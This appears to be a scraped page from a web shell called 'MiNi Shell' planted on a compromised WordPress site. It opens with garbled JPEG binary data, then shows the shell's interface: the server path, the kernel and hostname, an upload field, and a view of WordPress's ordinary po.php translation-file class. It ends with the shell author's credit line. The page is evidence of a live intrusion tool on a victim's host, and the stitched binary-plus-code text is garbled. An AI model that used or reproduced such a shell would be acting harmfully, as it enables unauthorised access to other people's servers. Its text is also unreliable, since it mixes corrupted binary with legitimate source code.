яШяа JFIF    яЫ „ ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------яА  ·" яД    яД ;   !1AQ"aq2Ѓ‘Ў±’БСр#3BRrбсb‚ІяД    яД *  !1"AQa2qр±Б#BЃяЪ   ? yR“њd&vGlJwZРvKо)АYrxрЊBҐІк—#j]ZиA•ЧБT^ЃЩdptи{Ї[w k˜WSФ‹*QБКaиy¤ґјBbлm№*ќ  &Чфч0Вх<|0pь’њљfЕ·M`‘М¬э Ќш ^.qЭя R‹рЅ¬·Њ¬^EYTфFЫГ­Ёw<-.‘j)ЎMН-/љs yqTЙБшф»'&ЫЮF‚Kz-(ЌЄџЩ[lКЕгшјЦ‡ґ¶МЭНЖцбў<“БGЦТЪ$ЋЉwќm€ј2З*e “ифZ(цY-FпОбЖVћѓҐѓЩenм櫧єlнТ µD¬¬wТЇ©H4БFXє1 ЅVЧsIOqSBЫЎNzJц“KzJОѕ•cXµО%ЈЂµvZcњгт•FSuMєЩ–ј%­†хBЩ ЄЦґРС##ъВП\[%ЌсђyY Ск‰…¤ !ўVТД‚О1ЩЋRЭIеј-NsZЄІJ†LTНAдђтP®ЧћQ:yЧґ˜Іg”_g=™›НМ mНжцДэЦЇY¶ј¬e+Hyj”e‘!EµЙcЭёаў®µSoХ{Ґ€ѓЧ¬*®h g<Ґ@ЎK‚I$юW+†‘Wэ'м№_”>ГДэ lНБUs¦1АЎ,ЇЂo*Кє§Eлї.U"N&CTіu7˜Иь _0вV’ъ°yКH,Бq ,Й)ЙРЛHжгІЈвЈ5<µЩбцt ;r‹hnЖz%аЭ“Хz+4і§ КiЫё)­ЅХP6п+F>0TРІ‹`љцЏслђЮ&бiф}ShћЙnђя ?™ikЬЂХџЙИ§ґҐ@хmБАUSУLбFО·˜’Њ©ЁђhтєЅ_eЋ¶ЪЯr тЁiе_qt]MYд»hя qю ЬсЈВ9®LaJрpPѕђЧџ€Я˜vкЂЎ\е"z·Ўо[лиV‚Ж¬В¤вІ*a§†ZMoоА=ПкW›kpџS§pію §жђш\QhЙMІйАКbЛ’жДYюH=Ь’ Ѓ€кmЃЈЫшЄ`с№C”€Jtй ийНЮс•цµи8o…FЈp]ЦйЙ>‰pҐPр1ЪF>‹n8(*Љ›ЫaЪ€љ.цYХЭ‰[‚iћЅЦTШ№Ћ’ JГзЕтM!сЊфлxћЫ]нВЙХФ¶aJЫSћW›ІиЫТјЬ©ё`yКПQФ`*кkEҐ#nѓN­ЏkZ·ўKwєћA_Ї7’~И© ОЃВЗйJчРЌЩ;Лч№ё-2§ћКqRxYk—Т=UЦЦЂв>ФZ qшThv@Ф.wС c{#&@ь#l®;D$”kGGмТvz/«7[Pу+”i”ж3СnIlК`nrРbmЇњЇQi“%}rAVй—PмрT*SЭПСFЈ`{'двн±нжЧ6RЦX46PФ®•‚тp™здє(¤і3WТ…Uх\a*є7Ќ7lq‹^„r˜TЄвЬ$vs2ќ±ш…MU Ш%*Е§+«\uQѕ ‚–XVЬиHы •Й!љ4t*Hgиію"¬Zм±®Њщ‡с JКX+RэVАUд‰цн+ЮЊ]PђiJМэѓ©T XоАщIф= Эi–ЮPO=љIҐиНaђ3лВХ[¶С uШ™т&й2љЌZ@тЄ.*ЊЃБЃSZњ‚® ("Ф)µѓs€Ђ8Yєъ©/ юБ цЊЏ¬-FЇh я ЪOcЈЂвв=ъ@ќ·HјR¶lЧПвѕЬP‘”Ypэ!wr?-Ґ±±цdu«gN…L­эpBН1‡yмW–¶Ќ•HyoPѕ\С•тСЂiHЦґ,єЭЩђ0aЎЫмU·L.•Yy`µL•S°лЫњ,ЅэоHZz!ВJQ«iНщђ‹V¬«Mўb{Ј(Ю €Ћtژ <)^Qi’’_»`ю:ф№р д}8Щ±ш9_.)a[kSrѕйў> ;wИWU§<Ўhѕ .Ѕ\z …H Ж0”ЫRҐLrUwBєЙЦЄ!Vј*ЄЬ%·U‰бhuir˜У®]ЋrВ¦rљР№ „eZ‹uRаГ%e-х*Баb` ЕЈлOСnоЁУ>Ў#рцњM^#iзщvTсвЬЋЧlЩiґH¦ЭС1льQm`лиc Uµё+и!2Й’§IXіР%єЦіNЪ“ЄФ;ZРI$?ўЈb$ШЗв(9лПя ђ¦Јf›…2аЧZВаKe ˜гј­­ЌqUЎн8IОЗб[ Uѕґ)9«!гmhЫ1Ўў^N˜БИ0 гІ•Јf’№•_ВоІюсЃє;ВЧ†µр2ТЧHтњЁѕFF©'ґ€4b! yBGH_jС‚ЂФp'?uџЙiБЪbQ¤ љT„#И•ТЊЧС¬Є˜S©X5gнк”ЬЮ’SF64Scjw‚U…`xI]sAы№M( 5ATЇHА_+Хs± 0ф^ЩIB++§h@˜_YjвsВpЗ0„{°UЊв‹@G ђџ·Ћлђа- Ѕ:кхоҐ*·ЎХ}ё© ҐшTЮ‚MH*ЗЦ”Ґ·2оQцХ’С: єoЬ@ ђСw5(Я°Кua­‰ь+aЗ ~жw[3WЦ›€(ђРґХPуеYлЄ„rF1•E‰КБ)Ч3Ђ˜XЧ„Ўм­TmЅЁеIЙҐFІќq±§TШт~Аz ®*ЊуI»љЂsџи*б’жё…WЙґ¶a0Qмj®ЃАђ¬%{сTЊЌЫ.Ю…ЅўЧґ±нc„z©6§u6Ц„ЭЃhЛ;АЦ¦ 8Ђd9Д7эЅ–ЋКЭґШС +Ю•xЉьР·sЫИЃ&LI‚JT’)КR¤0}fП }P®џJбђцµаdp`…д_ЪpъХ)–—ЌЫЙ™вg·(ќЕ•tZ ЮЖ 'ПёЂqЗU74Н§iZ{=MТhЫПБdьЗ$џ©Lћ|° *ЖUUn· &¤ЊН¶p¦HYќJйЫ‹Эj© /вЄ@9®XьИ?NСlќЬѕHY§xЉґ”nЈЁЌ„uXЪ–„ФЬA…згЖћЩи8ьjљ†ю «а»ІЄЭЂ pќQ¬ВФК4;Ќ*3хi™MlZ6 ®зw Єа™ЖИµ±›№PЄ Sіhr!–Э”шњаDT7/†ТЎЙПІigD“>§j KAXѕМ3¬jv+–ФР ђШЯ§ЏШІам #©_=Пт¦z–¶ЮTm‹ЖжВ¦ҐР>ь}ЇTЦЃ<|agўґ®{ПEр*ЮюЛЦі%Љ„њ…љЦ5z–µ›W.ўHhё~a–њ%ъќ‹j±Н"eґ4i=Ќ™vЧ±Їi8аѓђRЌzіM75ЩiЋ±ЦџfгEгu6ёМ4Бщ\СХ§Ёиeвo0°ь0зdЋ Hйџ§ЭrИЄКz2дeu·ФlµїбЏH$tЋQ>eOЉЗФ$µ¦@±…«ЈBђА ь/?“ш=Й#ВЩ¤ЦЗ•ЯPSЅ/В·.iЏPЅ¦•Ѕ28sй4vOЖuz3zсѕ™жTј&за¶ >—ЂZ2гц[–0+н[†р•#ћFЮ‘Ќ¶р]!Й(пмЕ(Ѓ!>s`r’ЬjeЋд(Ґ'Р|,й)‹,Гy@\ш‹°ы¤ъ‡‰њpР–’“йљп‚ЯEЛэ ?й?uЛ№ЎyWV‹·щЋ%8mЕJ ˜ђ„№ёi ЋЉw: u=¤-2‹dЈTмгSuGL+mк<М*иЧ¦1…чц‚г asЌг&5µХsЇ«ЁжuФ\Чp˜УhЊ¤аѕЖѓ qСYL‚Ці>Y(‹PKўе”i—;арUЪ•Фp .¶±.!i,и5­‡4$IцUEGLНРРXrж§юЁЪUE6m ъ ъ»•UеИ ГJC¤Х?ґґзжЄ¶%4Б•ББЈЧнЃAЋЖTчЇ]I]FЎш>ЉЧ№Pа9+‚eјe¤©Ѓ"AкiеҐdфЭ!Ї§Wk|ЃМt–пђDv–/O¬рDѓСc/,џo]ОiХ"HИI ћђHQгЖ_ѓn –ёіsб©pv"b и}}К&ПГб¤Iк:pИџUЈЅБ-_)‰UxЎ$lЋ:fЄЪ˜ Й•(I,Эеoxўinе8*G“>ГЊэKG}RЪЂв8FrajЁЩ·hЋ !’*za„њ]Ј lx%§РВбEэVіRТЪGYZНшoЪWџ›§·С®мѕЪъ昀аB№єеXуr­ґё¦љ{[ФёЉd,т–ґtжы єсEq†Ѓ ]З‰+у№ N¬т†})0‚“щBЗ,‚Єш®нНЪЋрe iqT™{Оz+¶µЄ«‡O ћBП2‰eеB89CЪѓ9©ЊеYыkZЙтySiўу@њВд/я (W)ъd^UцfjiВ0cHЬ!hиЩmщ‚-”ЪЎкгwBъЇаЖ7CЫ”ЖЦ›X$ЃхZo†И)Eэ F3”VZqmХ)’!wUЇщxM4н9µ<§ къ3Y .хqDйf“Ыйцдz„m |М&T Њ¬Ю"}—• иљИы°{*оiбh­«¶Ј&2і6чм¦6· U9щ*­ <®_# Ф7ґ˜ВMei˜ѓёКu^пh-оЊР-ZкНtLпбьSbП)НDVЌZH*П#Щ5ЁU©ЇiўVP+aSRIВЄв‘!џpжЊ¤c¦ж5g#ђЃєЅЃ’zМt@ЫкНy€pчфHдЖР=э‰Эе‚{• {Ђ#0dџА… нN¦в)УцqпћќёWЫTЄа kA<ДВџ)/“Rт§T8¤ D1э’к4Юy ЌЅbЫ2°л^лOўW––ћњ,Э&Bcc[iVгўiмСVd…ќЦґ–ФїCЩ<Ґp_\Щ tћ™VЏЦн+Тqk·ф9„ћќSХ{uЦћЧsA©я „иT»]…—'‡уM¶ЮП9Ґ\…цҐСњ-[B©EЖd ы ю0YeУ+ґ‚џX‘%nЈЄ…0HКЎф”Ьl›m…ТЅ!Ющ*–У…{9]юEMі·®_ &вqи6:hё{ЫАhЊ$Х4З1пc§КHћћкъГиn-09”%?@vс$ЋЇe– Ы®Н‹ѓtИТ§Ц КІм5­&P¶zЖL6AК¶ЮеЋ$?DНZЩУPбv§°nЭЫфSѕ»i”фК¬Rs~_4я ©a·"¦yеrЋ€9{Pя x —\T3 !окёђР‰‡@„qБv+jАjUМ…uЂd<Є+R2«{a<ўЁ‹»УФ77+Wа[РтсХ лр°4)I+Uя Џl^j:Ё$0=њVЏ ХL)ћ€JҐБL…/jО ZФТлє2W ®ћ (@э>JЏя '„чhRшh( №1K4с#љV`pЌЩђTљШwє<јЂ©1і{Ј)СXыPr9RcІ 4ід)Sr¬ы© Џgto\„тЩтYП„~•© ”–КЕиxьєщ°d"jЬO:хЃЊA!7€Ёµф‹€’т+љEПЬ0%{M'‰ѓЗTі^рЕ“ІиІЎд`rЪмт¶=ЬE*›LК7QТ]AРо{ЋЁ]‚A<Ї5Л‹©.Ћ‹}<Б‚9_KЂ (еДИфQ©LµҐз9FХРЌы©sД®C9Аж!r‰тЮФpiм їT±п0Їјёq’С!ІHп ё Т\@а™Ь©B>ЫFћц†6Ч 4гЫє6О‹Є0ё4“ПІ^П#ҐВЭ>Р/@¦йtyЂЏB‘¶Ы]єУ*љДёpІ¶М6Ў&<СџDP¤Ч9Рб—џ¬atM'Т >З bЪмЄ— wРIХ!ЬЃ€V^ЦtфзNЁ!оЋ6=иFЧDЄЬ†‚9*?О q¦6фhё8ј‰ ЫЌ {‘’%WoHoNф.э“l˜з€^—б»}”"1+ҐУuJЊ ;ЁИrЅ&› иЅ/ IЙ“љKH“ђп*З№Pч-в№ИJЩ3Р+Є9 ъ’ии2Ќ µд ѕ5тw5я ЏбI•dc„Wg0ъn}UҐіц@Т2 #Ђ0‹iv›и…і€ђz/•^Ґњ…ЖѓOR¤Ы}IvV2¬jъ(ЗtB1)Є{чѕ™ђS‹№"BЕш·\ ih.ѓАЗРЛIXbЖ¶:нG»nбЂI“А ж•вFХ.ѓйф^aЈЭ?а>®~!k˜'Ю'фT[ЭЧўж‚93фЦfя ‘ЯH<®ПH»с>ЪlкNРуЦDHъеҐл„Х;ќ;ЪsЂg-Ђ@ъ, JЈИOџsэ~ЉЗSs^H ћ'"#tцю§мЊ»=«Щ^ ¤@'њфХW~ўAp'oTЌъ¦Ъ­{FЩ†ИМґ1ь¦Пс#'cЋЬ>„ѕкњЎ?ЭFЉЈ­йў…B хХL№М,и2~я т‰ЧЄп-sќ2`ъ aHQm:F^jЖЮбЈ&~°јщЖ*N‰Е«v+{sВеkД‚№$ёїўFђ~Ш’ '#kьЬО«Ns›эЩ— тDн9чPј»qhhБkҐ c tы¦ЇФ·±”бћF’Io4‰ЎM=SијgIЎuиџ`F=#˜ы}ЧZЮмi'‚cрЃuлП»І!Рк}+‹CZIџ7ёытЏNЕu ЪЕ¤IБМсe1ЈXTа ЁЌмxЩГCЫ·hЪбуcЦcю•џ”7ЅЋ ‡чlл?ыzЎiЏ‰®ЮКYДОЬд ©7Пжж:ЏEй>рkЄ0VЇєђxќ‘зОypтэ§Щmмј?kKдЎNGщ‹CќыО’­‹Е“¶хapмс{=жѕiУ1<њ6=ЦЛIрі˜ЄрOVЃ#о·WеЌ ШY=SX†Џ„C‹ЬЮўfц э–ЬxсЕl4в»[Qe1 hСX+ѓБ¦^ЙIё<Мя ЗР tzБџ<ЧyэаТµ9SBкФC=сЙC~Ш е.Хµ:Ѕ­>ЗџС;j¬Aхл%Хn¶»=qч@ЭjЃ§'їаJ¦МTё|УnжЂaТ$ъы~Ё·BїБUц°Ц9ҐШ‚dzu)®ѓѕїшm%§‡glw”n™бљX¶«ыLУ`ЂЮ№њ•¦§W`° г°ќ”ЦA”м¦ПHЃМёдџлў™gEu[П,“пнХ'°Ѕ%…о1ЅОpЈf?tоJ ЫШО–‘mГc…[\ЈZ°кyJЇхvСnг$Hl'Ї<+5[b]иvѕ’“ eЋfцАsРЃЮ Я^. &2 ыщЊыyOЭ/8¦•ЃЋЇ+µЈ$ x©+ЛхzЏsЛ§КCЖޘ'лУтџ^кeХ юf·ЂМAЙЭ+Ъ­sћу–зO nЋ±Дњыz,ћFU%HU&˜•h ЉЌЃ»fGRNйж“ҐУ{Nч“$ЗНАk}92‚·kѓ`Gn8н<сК®гsdрH01ђ>b{ {˜+ [°Жk—_ЙFЎ@KЂpkвпqV„~‘sрьрd‚ЏтЖyъ%П¦wK„тЏ˜`ЁИD‹‡! њђNТ}N#)xШ9nЖwµ@7™щyаы4 *\ ќО—°$sцR©\™xгtsйЯш Ќ3јА0`O<пА0»иm­~‚‰%М<ќЭx#iя ”KЋЗд“ґ= 1ъ!›Ks[. q“ё7=уEтҐF¶"hЎЬМю Nh ТЇ¦=О.~нЗ'i†ъ ;BдФњyp¶ицДц\“ЊюРЬгфRiy±;w`OCЯЧЋкЦ—4»wщЂ&8‚иn= _'”W!в­YUvQБН°‘aАрOС7У<џUЛ“5о_Н’mљ ГґЕЗВЄвн· иАs:Џђ:­•о…kBЦ«нйЌФЖрг.tСpvмЊ·ўеЛ\RЉТы)Ґ3­в±п¦жЫVњсиј§q€>‡Щќj»'ћ±Эrеў-»(dЇuАщ @Э9Ъsъ…”·©5ч`;iaЄЩqћѕoя ErеЋY$шїэ{i Ї.Z(ФРЏЮя ґў•Бs^А!РЧъyCПѕХЛ“JoKщя bХИчQЫUа™ћЧП°ЂЅЅ{©БТжд™Џ›УеаЇ«—eЙ.-r|X‡фWХ¬УYАТkZоeО0AЖGЩlu­IґнЙ¦v’d7€ q —-jЬEя кfЫ­љt˜з4‚чєЊїqи “+]t–d_§+—%Њ›A‹ц"z– M2ЬщњЪxя ЫlюҐвq–фч»еn ы ѕ®VЖыdЯfыU^ијQa†‚DёIй?Ф+©ЮViЫ\П™‘L˜ЮG9бrе—>Y«¦ {eHлU¬ЧББqp )=щДsЭYktг,˜€s1ш!rе,Ќ¶¬lЋй„› ъu#ґърбI$-іњЦђв2A=AМхш\№J]&gнXЖ›<ЅПіЯnЄцНsљ_QЫАџ(Ћ8МсћЛ—#)4ђqйY~ВВжѓ$'3"'феUYНcI‚v·‰Ђ sї ю.Kо Oч!{хЃ,Ъ ѓ€‡ЙЋЩц(ъ$ЊєLћ¤I‚гФя №r¦D”uця ЙLЪ_Я°‹ CiЙ'ЌІ»џtЫИ{љ2LЗ;±ъ®\¤Яµ—Г7@фЭкHюK—.Z)4яЩ
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/serieaporm/www/wp-includes/pomo/

Linux webm340.cluster020.gra.hosting.ovh.net 4.14.218-ovh-vps-grsec-zfs-classid #1 SMP Mon Feb 1 17:25:57 CET 2021 x86_64
Upload File :
Current File : /home/serieaporm/www/wp-includes/pomo/po.php

<?php
/**
 * Class for working with PO files
 *
 * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $
 * @package pomo
 * @subpackage po
 */

require_once __DIR__ . '/translations.php';

if ( ! defined( 'PO_MAX_LINE_LEN' ) ) {
	define( 'PO_MAX_LINE_LEN', 79 );
}

ini_set( 'auto_detect_line_endings', 1 );

/**
 * Routines for working with PO files
 */
if ( ! class_exists( 'PO', false ) ) :
	class PO extends Gettext_Translations {

		public $comments_before_headers = '';

		/**
		 * Exports headers to a PO entry
		 *
		 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
		 */
		function export_headers() {
			$header_string = '';
			foreach ( $this->headers as $header => $value ) {
				$header_string .= "$header: $value\n";
			}
			$poified = PO::poify( $header_string );
			if ( $this->comments_before_headers ) {
				$before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' );
			} else {
				$before_headers = '';
			}
			return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" );
		}

		/**
		 * Exports all entries to PO format
		 *
		 * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end
		 */
		function export_entries() {
			// TODO: Sorting.
			return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) );
		}

		/**
		 * Exports the whole PO file as a string
		 *
		 * @param bool $include_headers whether to include the headers in the export
		 * @return string ready for inclusion in PO file string for headers and all the enrtries
		 */
		function export( $include_headers = true ) {
			$res = '';
			if ( $include_headers ) {
				$res .= $this->export_headers();
				$res .= "\n\n";
			}
			$res .= $this->export_entries();
			return $res;
		}

		/**
		 * Same as {@link export}, but writes the result to a file
		 *
		 * @param string $filename        Where to write the PO string.
		 * @param bool   $include_headers Whether to include the headers in the export.
		 * @return bool true on success, false on error
		 */
		function export_to_file( $filename, $include_headers = true ) {
			$fh = fopen( $filename, 'w' );
			if ( false === $fh ) {
				return false;
			}
			$export = $this->export( $include_headers );
			$res    = fwrite( $fh, $export );
			if ( false === $res ) {
				return false;
			}
			return fclose( $fh );
		}

		/**
		 * Text to include as a comment before the start of the PO contents
		 *
		 * Doesn't need to include # in the beginning of lines, these are added automatically
		 *
		 * @param string $text Text to include as a comment.
		 */
		function set_comment_before_headers( $text ) {
			$this->comments_before_headers = $text;
		}

		/**
		 * Formats a string in PO-style
		 *
		 * @param string $string the string to format
		 * @return string the poified string
		 */
		public static function poify( $string ) {
			$quote   = '"';
			$slash   = '\\';
			$newline = "\n";

			$replaces = array(
				"$slash" => "$slash$slash",
				"$quote" => "$slash$quote",
				"\t"     => '\t',
			);

			$string = str_replace( array_keys( $replaces ), array_values( $replaces ), $string );

			$po = $quote . implode( "${slash}n$quote$newline$quote", explode( $newline, $string ) ) . $quote;
			// Add empty string on first line for readbility.
			if ( false !== strpos( $string, $newline ) &&
				( substr_count( $string, $newline ) > 1 || substr( $string, -strlen( $newline ) ) !== $newline ) ) {
				$po = "$quote$quote$newline$po";
			}
			// Remove empty strings.
			$po = str_replace( "$newline$quote$quote", '', $po );
			return $po;
		}

		/**
		 * Gives back the original string from a PO-formatted string
		 *
		 * @param string $string PO-formatted string
		 * @return string enascaped string
		 */
		public static function unpoify( $string ) {
			$escapes               = array(
				't'  => "\t",
				'n'  => "\n",
				'r'  => "\r",
				'\\' => '\\',
			);
			$lines                 = array_map( 'trim', explode( "\n", $string ) );
			$lines                 = array_map( array( 'PO', 'trim_quotes' ), $lines );
			$unpoified             = '';
			$previous_is_backslash = false;
			foreach ( $lines as $line ) {
				preg_match_all( '/./u', $line, $chars );
				$chars = $chars[0];
				foreach ( $chars as $char ) {
					if ( ! $previous_is_backslash ) {
						if ( '\\' === $char ) {
							$previous_is_backslash = true;
						} else {
							$unpoified .= $char;
						}
					} else {
						$previous_is_backslash = false;
						$unpoified            .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char;
					}
				}
			}

			// Standardise the line endings on imported content, technically PO files shouldn't contain \r.
			$unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified );

			return $unpoified;
		}

		/**
		 * Inserts $with in the beginning of every new line of $string and
		 * returns the modified string
		 *
		 * @param string $string prepend lines in this string
		 * @param string $with prepend lines with this string
		 */
		public static function prepend_each_line( $string, $with ) {
			$lines  = explode( "\n", $string );
			$append = '';
			if ( "\n" === substr( $string, -1 ) && '' === end( $lines ) ) {
				/*
				 * Last line might be empty because $string was terminated
				 * with a newline, remove it from the $lines array,
				 * we'll restore state by re-terminating the string at the end.
				 */
				array_pop( $lines );
				$append = "\n";
			}
			foreach ( $lines as &$line ) {
				$line = $with . $line;
			}
			unset( $line );
			return implode( "\n", $lines ) . $append;
		}

		/**
		 * Prepare a text as a comment -- wraps the lines and prepends #
		 * and a special character to each line
		 *
		 * @access private
		 * @param string $text the comment text
		 * @param string $char character to denote a special PO comment,
		 *  like :, default is a space
		 */
		public static function comment_block( $text, $char = ' ' ) {
			$text = wordwrap( $text, PO_MAX_LINE_LEN - 3 );
			return PO::prepend_each_line( $text, "#$char " );
		}

		/**
		 * Builds a string from the entry for inclusion in PO file
		 *
		 * @param Translation_Entry $entry the entry to convert to po string.
		 * @return string|false PO-style formatted string for the entry or
		 *  false if the entry is empty
		 */
		public static function export_entry( $entry ) {
			if ( null === $entry->singular || '' === $entry->singular ) {
				return false;
			}
			$po = array();
			if ( ! empty( $entry->translator_comments ) ) {
				$po[] = PO::comment_block( $entry->translator_comments );
			}
			if ( ! empty( $entry->extracted_comments ) ) {
				$po[] = PO::comment_block( $entry->extracted_comments, '.' );
			}
			if ( ! empty( $entry->references ) ) {
				$po[] = PO::comment_block( implode( ' ', $entry->references ), ':' );
			}
			if ( ! empty( $entry->flags ) ) {
				$po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' );
			}
			if ( $entry->context ) {
				$po[] = 'msgctxt ' . PO::poify( $entry->context );
			}
			$po[] = 'msgid ' . PO::poify( $entry->singular );
			if ( ! $entry->is_plural ) {
				$translation = empty( $entry->translations ) ? '' : $entry->translations[0];
				$translation = PO::match_begin_and_end_newlines( $translation, $entry->singular );
				$po[]        = 'msgstr ' . PO::poify( $translation );
			} else {
				$po[]         = 'msgid_plural ' . PO::poify( $entry->plural );
				$translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations;
				foreach ( $translations as $i => $translation ) {
					$translation = PO::match_begin_and_end_newlines( $translation, $entry->plural );
					$po[]        = "msgstr[$i] " . PO::poify( $translation );
				}
			}
			return implode( "\n", $po );
		}

		public static function match_begin_and_end_newlines( $translation, $original ) {
			if ( '' === $translation ) {
				return $translation;
			}

			$original_begin    = "\n" === substr( $original, 0, 1 );
			$original_end      = "\n" === substr( $original, -1 );
			$translation_begin = "\n" === substr( $translation, 0, 1 );
			$translation_end   = "\n" === substr( $translation, -1 );

			if ( $original_begin ) {
				if ( ! $translation_begin ) {
					$translation = "\n" . $translation;
				}
			} elseif ( $translation_begin ) {
				$translation = ltrim( $translation, "\n" );
			}

			if ( $original_end ) {
				if ( ! $translation_end ) {
					$translation .= "\n";
				}
			} elseif ( $translation_end ) {
				$translation = rtrim( $translation, "\n" );
			}

			return $translation;
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		function import_from_file( $filename ) {
			$f = fopen( $filename, 'r' );
			if ( ! $f ) {
				return false;
			}
			$lineno = 0;
			while ( true ) {
				$res = $this->read_entry( $f, $lineno );
				if ( ! $res ) {
					break;
				}
				if ( '' === $res['entry']->singular ) {
					$this->set_headers( $this->make_headers( $res['entry']->translations[0] ) );
				} else {
					$this->add_entry( $res['entry'] );
				}
			}
			PO::read_line( $f, 'clear' );
			if ( false === $res ) {
				return false;
			}
			if ( ! $this->headers && ! $this->entries ) {
				return false;
			}
			return true;
		}

		/**
		 * Helper function for read_entry
		 *
		 * @param string $context
		 * @return bool
		 */
		protected static function is_final( $context ) {
			return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context );
		}

		/**
		 * @param resource $f
		 * @param int      $lineno
		 * @return null|false|array
		 */
		function read_entry( $f, $lineno = 0 ) {
			$entry = new Translation_Entry();
			// Where were we in the last step.
			// Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural.
			$context      = '';
			$msgstr_index = 0;
			while ( true ) {
				$lineno++;
				$line = PO::read_line( $f );
				if ( ! $line ) {
					if ( feof( $f ) ) {
						if ( self::is_final( $context ) ) {
							break;
						} elseif ( ! $context ) { // We haven't read a line and EOF came.
							return null;
						} else {
							return false;
						}
					} else {
						return false;
					}
				}
				if ( "\n" === $line ) {
					continue;
				}
				$line = trim( $line );
				if ( preg_match( '/^#/', $line, $m ) ) {
					// The comment is the start of a new entry.
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						$lineno--;
						break;
					}
					// Comments have to be at the beginning.
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					// Add comment.
					$this->add_comment_to_entry( $entry, $line );
				} elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						$lineno--;
						break;
					}
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					$context         = 'msgctxt';
					$entry->context .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						$lineno--;
						break;
					}
					if ( $context && 'msgctxt' !== $context && 'comment' !== $context ) {
						return false;
					}
					$context          = 'msgid';
					$entry->singular .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context          = 'msgid_plural';
					$entry->is_plural = true;
					$entry->plural   .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context             = 'msgstr';
					$entry->translations = array( PO::unpoify( $m[1] ) );
				} elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) {
					if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) {
						return false;
					}
					$context                      = 'msgstr_plural';
					$msgstr_index                 = $m[1];
					$entry->translations[ $m[1] ] = PO::unpoify( $m[2] );
				} elseif ( preg_match( '/^".*"$/', $line ) ) {
					$unpoified = PO::unpoify( $line );
					switch ( $context ) {
						case 'msgid':
							$entry->singular .= $unpoified;
							break;
						case 'msgctxt':
							$entry->context .= $unpoified;
							break;
						case 'msgid_plural':
							$entry->plural .= $unpoified;
							break;
						case 'msgstr':
							$entry->translations[0] .= $unpoified;
							break;
						case 'msgstr_plural':
							$entry->translations[ $msgstr_index ] .= $unpoified;
							break;
						default:
							return false;
					}
				} else {
					return false;
				}
			}

			$have_translations = false;
			foreach ( $entry->translations as $t ) {
				if ( $t || ( '0' === $t ) ) {
					$have_translations = true;
					break;
				}
			}
			if ( false === $have_translations ) {
				$entry->translations = array();
			}

			return array(
				'entry'  => $entry,
				'lineno' => $lineno,
			);
		}

		/**
		 * @param resource $f
		 * @param string   $action
		 * @return bool
		 */
		function read_line( $f, $action = 'read' ) {
			static $last_line     = '';
			static $use_last_line = false;
			if ( 'clear' === $action ) {
				$last_line = '';
				return true;
			}
			if ( 'put-back' === $action ) {
				$use_last_line = true;
				return true;
			}
			$line          = $use_last_line ? $last_line : fgets( $f );
			$line          = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
			$last_line     = $line;
			$use_last_line = false;
			return $line;
		}

		/**
		 * @param Translation_Entry $entry
		 * @param string            $po_comment_line
		 */
		function add_comment_to_entry( &$entry, $po_comment_line ) {
			$first_two = substr( $po_comment_line, 0, 2 );
			$comment   = trim( substr( $po_comment_line, 2 ) );
			if ( '#:' === $first_two ) {
				$entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) );
			} elseif ( '#.' === $first_two ) {
				$entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment );
			} elseif ( '#,' === $first_two ) {
				$entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) );
			} else {
				$entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment );
			}
		}

		/**
		 * @param string $s
		 * @return string
		 */
		public static function trim_quotes( $s ) {
			if ( '"' === substr( $s, 0, 1 ) ) {
				$s = substr( $s, 1 );
			}
			if ( '"' === substr( $s, -1, 1 ) ) {
				$s = substr( $s, 0, -1 );
			}
			return $s;
		}
	}
endif;

Creat By MiNi SheLL
Email: jattceo@gmail.com